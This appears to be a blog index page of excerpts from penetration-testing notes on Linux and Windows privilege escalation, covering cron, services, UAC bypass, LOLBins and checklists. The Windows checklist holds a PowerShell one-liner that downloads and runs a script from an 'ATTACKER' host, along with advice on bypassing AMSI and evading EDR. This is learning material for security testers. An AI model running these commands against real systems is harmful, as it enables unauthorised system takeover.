Navigation
Breadcrumb

Posts on: Privilege-Escalation

srl

Programs, Jobs and Services

Scheduled and supervised execution is the most consistent privilege-escalation surface on Linux. Root runs something on a timer, on boot, on log rotation, or on a process event β€” and if you can influence what it runs, where it runs it, or how it resolves it, you inherit root. This file covers every scheduler you will encounter: cron, anacron, at, systemd timers and units, transient systemd-run jobs, and logrotate. 1. Cron Job Abuse Scheduled jobs, typically used for administrative tasks β€” backups, cleanup, reporting. The crontab command creates a cron file that the cron daemon runs on the specified schedule.
srl

Services Hijacking

Windows services are the highest-yield privilege escalation surface on the platform because they run as LocalSystem while referencing four separate objects that a low-privileged user may be able to influence: Attack surface You control Exploitation Primary check Service binary The .exe on disk Replace the file, restart the service icacls on the binary Loaded DLL A DLL path the service searches Plant a DLL with the expected name Procmon NAME NOT FOUND Service DACL The service object sc config binPath=, restart accesschk -uwcqv Service registry key ImagePath / ServiceDll Edit the value, restart accesschk -kvuqsw Key distinction: A writable binary is a file-system problem. A modifiable service DACL is a service-object problem β€” you do not need write access to the binary’s directory. A writable registry key is a third, separate problem. Enumerate all four.
srl

Miscellaneous Techniques

Techniques in this file do not fit neatly into SUID, sudo, or cron. They are grouped by what you control β€” a library path, an export, a socket, an environment variable, or a file permission β€” because that is how you will find them during enumeration. 1. Shared Object Hijacking β€” RUNPATH / RPATH / $ORIGIN A binary that uses a custom library can be enumerated with: ldd /path/to/program readelf -d /path/to/program | grep -E 'RPATH|RUNPATH|NEEDED' RUNPATH and RPATH are baked into the binary and are searched before the default library paths. Unlike LD_LIBRARY_PATH, they are honoured for SUID binaries, which is what makes a writable RUNPATH directory a reliable escalation.
srl

Privilege Escalation to Domain Admin β€” Known Exploits & Modern Equivalents

The three vulnerabilities below β€” NoPac, PrintNightmare, and PetitPotam β€” are still worth knowing, but their role has shifted. On a fully patched 2025–2026 domain, all three are usually closed. What remains is the attack primitive each one demonstrated, and that primitive is now delivered through modern tooling: NetExec modules for NoPac, detection-resistant coercion for PetitPotam, and the coercion β†’ NTLM relay β†’ ADCS/RBCD chain that survives patch cycles because it abuses configuration, not a missing update.
srl

User Account Control (UAC) Bypass

UAC bypasses leverage flaws or unintended functionality in different Windows builds. The following repository contains many different UAC bypassing techniques: UACME β€” currently lists 81 separate techniques. ⚠️ Critical: UAC bypass is not privilege escalation from a standard user. It only converts a filtered Administrator token (medium integrity) into a full Administrator token (high integrity). You must already be a member of the local Administrators group (and, for some methods, already have an elevated process). A standard user cannot UAC-bypass their way to administrator.
srl

Linux Privilege Escalation Checklist

Working document β€” tick as you go. Commands are abbreviated; full detail is in the matching section of the notes. Stop at the first successful path. Work top-down: configuration and credential wins are faster and safer than kernel exploits. Kernel exploits last. CVE numbers are hints, not gospel β€” verify the version against the current NVD before committing to a CVE-specific path. The behavioural checks below are valid regardless. Target context β€” fill before starting:
srl

Living off the Land

LOLBins and LOLBAS are signed, Microsoft-shipped binaries already present on a default Windows install. They exist so nothing unsigned touches disk β€” the ideal primitive when application control blocks your tooling. But the binaries are trusted while the behaviour is not: EDR heavily monitors certutil, bitsadmin, mshta, regsvr32, and PowerShell reaching out to the internet. Prefer an internal staging host, a non-standard filename, and cleanup. 0. What Changed in 2025–2026 Two platform changes alter which LOLBins you can rely on:
srl

Windows Privilege Escalation Checklist

Working document β€” tick as you go. Commands are abbreviated; full detail is in the matching section of the notes. Stop at the first successful path. Token privileges and service misconfigurations are faster and safer than kernel exploits. Kernel exploits last. CVE numbers are hints, not gospel β€” verify the version against the current NVD before committing to a CVE-specific path. Target context β€” fill before starting: Field Value Hostname OS / build (systeminfo) Architecture Current user / groups (whoami /all) Integrity level (Medium / High) Token privileges (whoami /priv) Domain-joined? AV / EDR present? WMIC available? (24H2+ removes it) Notes Phase 0 β€” Orient (60 seconds) whoami /all β€” user, groups, SID, integrity level whoami /priv β€” the single highest-value command; an enabled SeImpersonate, SeBackup, or SeDebug is often an instant win[reference:1] whoami /groups | findstr /i "Mandatory" β€” Medium + Administrators = UAC is the only barrier hostname; systeminfo β€” OS build, patches, hotfixes net config workstation β€” domain membership ipconfig /all; route print; arp -a β€” network position echo %USERNAME% β€” confirm the current context Record findings above, then proceed Phase 1 β€” Automated Triage (run once, verify by hand) winPEASx64.exe quiet β€” broad enumeration; focus on red + yellow findings powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1'); Invoke-AllChecks"[reference:2] SharpUp.exe audit β€” C# equivalent; separates service binary and service DACL findings Seatbelt.exe -group=all β€” host survey Verify every hit by hand β€” automated tools produce false positives AMSI note: if PowerShell-based tools are blocked, bypass AMSI first or use the C#/binary alternatives (SharpUp, Seatbelt, WinPEAS).

Pagination